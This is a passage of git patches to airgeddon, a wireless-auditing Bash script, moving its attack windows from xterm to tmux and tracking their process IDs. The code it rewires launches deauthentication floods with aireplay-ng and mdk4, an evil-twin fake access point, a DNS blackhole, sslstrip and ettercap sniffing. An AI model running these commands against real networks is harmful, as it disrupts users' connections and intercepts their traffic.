${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & + manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)" + #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; "Aireplay") interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" iwconfig "${interface_pursuit_mode_deauth}" channel "${channel}" > /dev/null 2>&1 dos_delay=3 - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & + manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)" + #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "Wds Confusion") dos_delay=10 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & + manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "Deauth (DoS Pursuit mode)" + #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; esac @@ -7688,7 +7691,8 @@ function launch_fake_ap() { ;; esac fi - xterm -hold -bg black -fg green -geometry "${hostapd_scr_window_position}" -T "AP" -e "${command}${log_command}" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg green -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP" + #xterm -hold -bg black -fg green -geometry "${hostapd_scr_window_position}" -T "AP" -e "${command}${log_command}" > /dev/null 2>&1 & et_processes+=($!) sleep 3 } @@ -7919,7 +7923,8 @@ function launch_dhcp_server() { dchcpd_scr_window_position=${g4_middleleft_window} ;; esac - xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg pink -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" + #xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & et_processes+=($!) sleep 2 } @@ -7970,7 +7975,8 @@ function exec_et_deauth() { launch_dos_pursuit_mode_attack "${et_dos_attack}" "first_time" pid_control_pursuit_mode "${et_dos_attack}" "evil_twin" & else - xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" "Deauth" + #xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & et_processes+=($!) sleep 1 fi @@ -8867,7 +8873,8 @@ function launch_dns_blackhole() { debug_print recalculate_windows_sizes - xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg blue -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[12]} -i ${interface}" "DNS" + #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & et_processes+=($!) } @@ -8908,7 +8915,8 @@ function launch_et_control_window() { control_scr_window_position=${g4_topright_window} ;; esac - xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_et_file}\"" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg white -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" + #xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_et_file}\"" > /dev/null 2>&1 & et_process_control_window=$! } @@ -9155,7 +9163,8 @@ function launch_webserver() { else lighttpd_window_position=${g4_bottomright_window} fi - xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg yellow -geometry ${lighttpd_window_position} -T \"Webserver\"" "lighttpd -D -f \"${tmpdir}${webserver_file}\"" "Webserver" + #xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & et_processes+=($!) } From f2b17858e721398d46c1977c32f61ff65d79af76 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 22 Mar 2019 12:09:06 +0100 Subject: [PATCH 012/148] Added tmux evil twin pid control --- airgeddon.sh | 117 +++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 103 insertions(+), 14 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2844612e7..2bc9a9722 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190320 +#Date.........: 20190322 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -3347,6 +3347,7 @@ function launch_dos_pursuit_mode_attack() { debug_print + local dos_cmd_line rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 rm -rf "${tmpdir}nws"* > /dev/null 2>&1 rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1 @@ -3401,6 +3402,13 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" | tr -d '"') + while [ -z "${dos_pursuit_mode_attack_pid}" ]; do + dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") + fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; "Aireplay") @@ -3409,6 +3417,13 @@ function launch_dos_pursuit_mode_attack() { iwconfig "${interface_pursuit_mode_deauth}" channel "${channel}" > /dev/null 2>&1 dos_delay=3 manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" | tr -d '"') + while [ -z "${dos_pursuit_mode_attack_pid}" ]; do + dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") + fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "Wds Confusion") @@ -3416,12 +3431,21 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "Deauth (DoS Pursuit mode)" + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" | tr -d '"') + while [ -z "${dos_pursuit_mode_attack_pid}" ]; do + dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') + done + dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") + fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; esac - dos_pursuit_mode_attack_pid=$! - dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + dos_pursuit_mode_attack_pid=$! + dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") + fi if [ "${channel}" -gt 14 ]; then if [ "${interface_pursuit_mode_scan}" = "${interface}" ]; then @@ -7693,7 +7717,18 @@ function launch_fake_ap() { fi manage_output "-hold -bg black -fg green -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP" #xterm -hold -bg black -fg green -geometry "${hostapd_scr_window_position}" -T "AP" -e "${command}${log_command}" > /dev/null 2>&1 & - et_processes+=($!) + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) + else + #TODO Stop trying to get pid after fixed time period and show interface error + local ap_pid + local ap_cmd_line + ap_cmd_line=$(echo "${command}" | tr -d '"') + while [ -z "${ap_pid}" ]; do + ap_pid=$(ps --no-headers aux | grep "${ap_cmd_line}" | grep -v "grep ${ap_cmd_line}" | awk '{print $2}') + done + et_processes+=("${ap_pid}") + fi sleep 3 } @@ -7925,7 +7960,17 @@ function launch_dhcp_server() { esac manage_output "-hold -bg black -fg pink -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" #xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & - et_processes+=($!) + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) + else + local dhcp_pid + local dhcp_cmd_line + dhcp_cmd_line=$(echo "dhcpd -d -cf \"${dhcp_path}\" ${interface}" | tr -d '"') + while [ -z "${dhcp_pid}" ]; do + dhcp_pid=$(ps --no-headers aux | grep "$dhcp_cmd_line" | grep -v "grep $dhcp_cmd_line" | awk '{print $2}') + done + et_processes+=("${dhcp_pid}") + fi sleep 2 } @@ -7977,7 +8022,17 @@ function exec_et_deauth() { else manage_output "-hold -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" "Deauth" #xterm -hold -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "${deauth_et_cmd}" > /dev/null 2>&1 & - et_processes+=($!) + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) + else + local deauth_pid + local deauth_cmd_line + deauth_cmd_line=$(echo "${deauth_et_cmd}" | tr -d '"') + while [ -z "${deauth_pid}" ]; do + deauth_pid=$(ps --no-headers aux | grep "$deauth_cmd_line" | grep -v "grep $deauth_cmd_line" | awk '{print $2}') + done + et_processes+=("${deauth_pid}") + fi sleep 1 fi } @@ -8875,7 +8930,17 @@ function launch_dns_blackhole() { recalculate_windows_sizes manage_output "-hold -bg black -fg blue -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[12]} -i ${interface}" "DNS" #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & - et_processes+=($!) + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) + else + local dns_pid + local dns_cmd_line + dns_cmd_line=$(echo "${optional_tools_names[12]} -i ${interface}" | tr -d '"') + while [ -z "${dns_pid}" ]; do + dns_pid=$(ps --no-headers aux | grep "$dns_cmd_line" | grep -v "grep $dns_cmd_line" | awk '{print $2}') + done + et_processes+=("${dns_pid}") + fi } #Launch control window for Enterprise attacks @@ -8917,7 +8982,17 @@ function launch_et_control_window() { esac manage_output "-hold -bg black -fg white -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" #xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_et_file}\"" > /dev/null 2>&1 & - et_process_control_window=$! + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_process_control_window=$! + else + local control_pid + local control_cmd_line + control_cmd_line=$(echo "bash \"${tmpdir}${control_et_file}\"" | tr -d '"') + while [ -z "${control_pid}" ]; do + control_pid=$(ps --no-headers aux | grep "$control_cmd_line" | grep -v "grep $control_cmd_line" | awk '{print $2}') + done + et_process_control_window="${control_pid}" + fi } #Create configuration file for lighttpd @@ -9165,7 +9240,17 @@ function launch_webserver() { fi manage_output "-hold -bg black -fg yellow -geometry ${lighttpd_window_position} -T \"Webserver\"" "lighttpd -D -f \"${tmpdir}${webserver_file}\"" "Webserver" #xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & - et_processes+=($!) + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) + else + local webserver_pid + local webserver_cmd_line + webserver_cmd_line=$(echo "lighttpd -D -f \"${tmpdir}${webserver_file}\"" | tr -d '"') + while [ -z "${webserver_pid}" ]; do + webserver_pid=$(ps --no-headers aux | grep "$webserver_cmd_line" | grep -v "grep $webserver_cmd_line" | awk '{print $2}') + done + et_processes+=("${webserver_pid}") + fi } #Launch sslstrip for sslstrip sniffing Evil Twin attack @@ -9609,9 +9694,13 @@ function write_et_processes() { debug_print - for item in "${et_processes[@]}"; do - echo "${item}" >> "${tmpdir}${webdir}${et_processesfile}" - done + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + touch "${tmpdir}${webdir}${et_processesfile}" + else + for item in "${et_processes[@]}"; do + echo "${item}" >> "${tmpdir}${webdir}${et_processesfile}" + done + fi } #Write on a file the id of the Enterprise Evil Twin attack processes @@ -9649,7 +9738,7 @@ function kill_et_windows() { kill ${enterprise_process_control_window} &> /dev/null kill "$(ps -C hostapd-wpe --no-headers -o pid | tr -d ' ')" &> /dev/null else - kill ${et_process_control_window} &> /dev/null + kill "${et_process_control_window}" &> /dev/null kill "$(ps -C hostapd --no-headers -o pid | tr -d ' ')" &> /dev/null fi } @@ -13142,6 +13231,7 @@ function start_tmux_processes() { window_name="${1}" command_line="${2}" + tmux kill-window -t "${session_name}:${window_name}" 2> /dev/null tmux new-window -t "${session_name}:" -n "${window_name}" tmux send-keys -t "${session_name}:${window_name}" "${command_line}" ENTER } @@ -13180,7 +13270,6 @@ function transfer_to_tmux() { if ! check_inside_tmux; then create_tmux_session "${session_name}" "true" fi - } #Centralized function to launch window using xterm/tmux From 1303506acb2f35ea5271e6d5e152cbfe65187c3b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 22 Mar 2019 12:16:17 +0100 Subject: [PATCH 013/148] Small piece of code improved regarding evil twin pid control --- airgeddon.sh | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2bc9a9722..0a5c76e1e 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3407,7 +3407,6 @@ function launch_dos_pursuit_mode_attack() { while [ -z "${dos_pursuit_mode_attack_pid}" ]; do dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') done - dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; @@ -3422,7 +3421,6 @@ function launch_dos_pursuit_mode_attack() { while [ -z "${dos_pursuit_mode_attack_pid}" ]; do dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') done - dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; @@ -3436,7 +3434,6 @@ function launch_dos_pursuit_mode_attack() { while [ -z "${dos_pursuit_mode_attack_pid}" ]; do dos_pursuit_mode_attack_pid=$(ps --no-headers aux | grep "${dos_cmd_line}" | grep -v "grep ${dos_cmd_line}" | awk '{print $2}') done - dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") fi #xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth (DoS Pursuit mode)" -e "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; @@ -3444,8 +3441,8 @@ function launch_dos_pursuit_mode_attack() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then dos_pursuit_mode_attack_pid=$! - dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") fi + dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") if [ "${channel}" -gt 14 ]; then if [ "${interface_pursuit_mode_scan}" = "${interface}" ]; then From 56e539143d4fdf926dac304e9806ad8a9da55d87 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 22 Mar 2019 12:17:44 +0100 Subject: [PATCH 014/148] Removed unneeded TODO --- airgeddon.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 0a5c76e1e..f6d1a945a 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -7717,7 +7717,6 @@ function launch_fake_ap() { if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else - #TODO Stop trying to get pid after fixed time period and show interface error local ap_pid local ap_cmd_line ap_cmd_line=$(echo "${command}" | tr -d '"') From 578c5775ba685be9fb31afa560c230800aa1507e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 23 Mar 2019 21:42:18 +0100 Subject: [PATCH 015/148] Added string 621 needed for tmux session handling --- language_strings.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 24f81288e..309d0cc7b 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20190319 +#Date.........: 20190323 #Bash Version.: 4.2 or later #Set language_strings file version @@ -8302,6 +8302,18 @@ function language_strings() { arr["GERMAN",620]="${pending_of_translation} Die Fensterverwaltungsmethode wurde in der Konfigurationsdatei geändert. Starten Sie das Skript neu, damit die Änderungen wirksam werden" arr["TURKISH",620]="${pending_of_translation} Pencere yönetim yöntemi, yapılandırma dosyasında değiştirildi. Değişikliklerin etkili olması için betiği yeniden başlatın" + arr["ENGLISH",621]="It's not possible to run airgeddon in the current tmux session. This session will be send to background and a new tmux session will be created for launching airgeddon" + arr["SPANISH",621]="No es posible ejecutar airgeddon en la sesión tmux actual. Esta sesión será enivada a segundo plano y se creará una nueva sesión tmux donde airgeddon será lanzado" + arr["FRENCH",621]="${pending_of_translation} Il n'est pas possible de lancer airgeddon dans la session tmux en cours. Cette session sera envoyée à l’arrière-plan et une nouvelle session tmux sera créée pour lancer airgeddon" + arr["CATALAN",621]="${pending_of_translation} No és possible executar airgeddon en la sessió tmux actual. Aquesta sessió serà enivada a segon pla i es crearà una nova sessió tmux on airgeddon serà llançat" + arr["PORTUGUESE",621]="${pending_of_translation} Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será enviada para o fundo e uma nova sessão do tmux será criada onde o airgeddon será lançado" + arr["RUSSIAN",621]="${pending_of_translation} Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" + arr["GREEK",621]="${pending_of_translation} Δεν είναι δυνατό να εκτελέσετε airgeddon στην τρέχουσα συνεδρία tmux. Αυτή η περίοδος θα στείλει στο παρασκήνιο και θα δημιουργηθεί μια νέα συνεδρία tmux για την εκκίνηση του airgeddon" + arr["ITALIAN",621]="${pending_of_translation} Non è possibile eseguire airgeddon nella sessione corrente di tmux. Questa sessione verrà inviata in background e verrà creata una nuova sessione tmux in cui verrà lanciato airgeddon" + arr["POLISH",621]="${pending_of_translation} Nie można uruchomić airgeddon w bieżącej sesji tmux. Ta sesja zostanie wysłana do tła i zostanie utworzona nowa sesja tmux, w której zostanie uruchomiony airgeddon" + arr["GERMAN",621]="${pending_of_translation} Es ist nicht möglich, airgeddon in der aktuellen tmux-Sitzung auszuführen. Diese Sitzung wird in den Hintergrund gesendet und eine neue Sitzung wird erstellt, in der airgeddon gestartet wird" + arr["TURKISH",621]="${pending_of_translation} Mevcut tmux seansında airgeddon çalıştırmak mümkün değildir. Bu oturum arka plana gönderilecek ve airgeddon'un başlatılacağı yeni bir tmux oturumu oluşturulacak" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From d0775c0bc5e1d76e370609c44054875f72771880 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Sun, 24 Mar 2019 03:25:35 +0530 Subject: [PATCH 016/148] Added support to run airgeddon from inside an existing tmux session --- airgeddon.sh | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index f6d1a945a..ebd8911b2 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -13200,7 +13200,11 @@ function start_airgeddon_from_tmux() { tmux rename-window -t "${session_name}" "${tmux_main_window}" tmux send-keys -t "${session_name}:${tmux_main_window}" "clear;bash ${scriptfolder}${scriptname}" ENTER sleep 0.2 - tmux attach -t "${session_name}" + if [ "${1}" = "normal" ]; then + tmux attach -t "${session_name}" + else + tmux switch-client -t "${session_name}" + fi } #Create new tmux session exclusively for airgeddon @@ -13212,10 +13216,10 @@ function create_tmux_session() { if [ "${2}" = "true" ]; then tmux new-session -d -s "${1}" - start_airgeddon_from_tmux + start_airgeddon_from_tmux "normal" else - tmux new-session -s "${1}" - start_airgeddon_from_tmux + tmux new-session -d -s "${1}" + start_airgeddon_from_tmux "nested" fi } @@ -13265,6 +13269,16 @@ function transfer_to_tmux() { if ! check_inside_tmux; then create_tmux_session "${session_name}" "true" + else + local active_session + active_session=$(tmux display-message -p '#S') + if [ "${active_session}" != "${session_name}" ]; then + language_strings "${language}" 621 "yellow" + language_strings "${language}" 115 "read" + create_tmux_session "${session_name}" "false" + exit_code=1 + exit ${exit_code} + fi fi } From 8a862c30ce90b5c590e04a7aba06db7e99ab0de5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 23 Mar 2019 23:33:19 +0100 Subject: [PATCH 017/148] Added control for tmux session launching --- airgeddon.sh | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index ebd8911b2..350d85c57 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190322 +#Date.........: 20190323 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -12802,6 +12802,7 @@ function initialize_script_settings() { secondary_interface_airmon_compatible=1 declare -gA wps_data_array declare -gA interfaces_band_info + tmux_error=0 } #Detect if there is a working X window system excepting for docker container and wayland @@ -13273,11 +13274,7 @@ function transfer_to_tmux() { local active_session active_session=$(tmux display-message -p '#S') if [ "${active_session}" != "${session_name}" ]; then - language_strings "${language}" 621 "yellow" - language_strings "${language}" 115 "read" - create_tmux_session "${session_name}" "false" - exit_code=1 - exit ${exit_code} + tmux_error=1 fi fi } @@ -13325,6 +13322,17 @@ function main() { check_language_strings + if [ ${tmux_error} -eq 1 ]; then + language_strings "${language}" 86 "title" + echo + language_strings "${language}" 621 "yellow" + language_strings "${language}" 115 "read" + create_tmux_session "${session_name}" "false" + #TODO replace this exit with created tmux session killing + exit_code=1 + exit ${exit_code} + fi + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then check_xwindow_system detect_screen_resolution From 39fc07497e0d917d0a73d2ccf3d92a2c91262c11 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Mon, 25 Mar 2019 08:58:57 +0530 Subject: [PATCH 018/148] Evil Twin AP Attack With Sniffing - Completed unified xterm/tmux function calls --- airgeddon.sh | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 350d85c57..4b2f88c13 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190323 +#Date.........: 20190325 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -9279,8 +9279,19 @@ function launch_ettercap_sniffing() { ettercap_cmd+=" -l \"${tmp_ettercaplog}\"" fi - xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & - et_processes+=($!) + manage_output "-hold -bg black -fg yellow -geometry ${sniffing_scr_window_position} -T \"Sniffer\"" "${ettercap_cmd}" "Sniffer" + #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) + else + local sniffer_pid + local sniffer_cmd_line + sniffer_cmd_line=$(echo "${ettercap_cmd}" | tr -d '"') + while [ -z "${sniffer_pid}" ]; do + sniffer_pid=$(ps --no-headers aux | grep "$sniffer_cmd_line" | grep -v "grep $sniffer_cmd_line" | awk '{print $2}') + done + et_processes+=("${sniffer_pid}") + fi } #Create configuration file for beef From 9b9c2e3608f667501cffdbbd075ee34d6b91c7a2 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Mon, 25 Mar 2019 09:01:08 +0530 Subject: [PATCH 019/148] Evil Twin AP Attack With Sniffing And SSLStrip - Completed unified xterm/tmux function calls --- airgeddon.sh | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 4b2f88c13..166527e37 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9256,8 +9256,19 @@ function launch_sslstrip() { rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 recalculate_windows_sizes - xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & - et_processes+=($!) + manage_output "-hold -bg black -fg blue -geometry 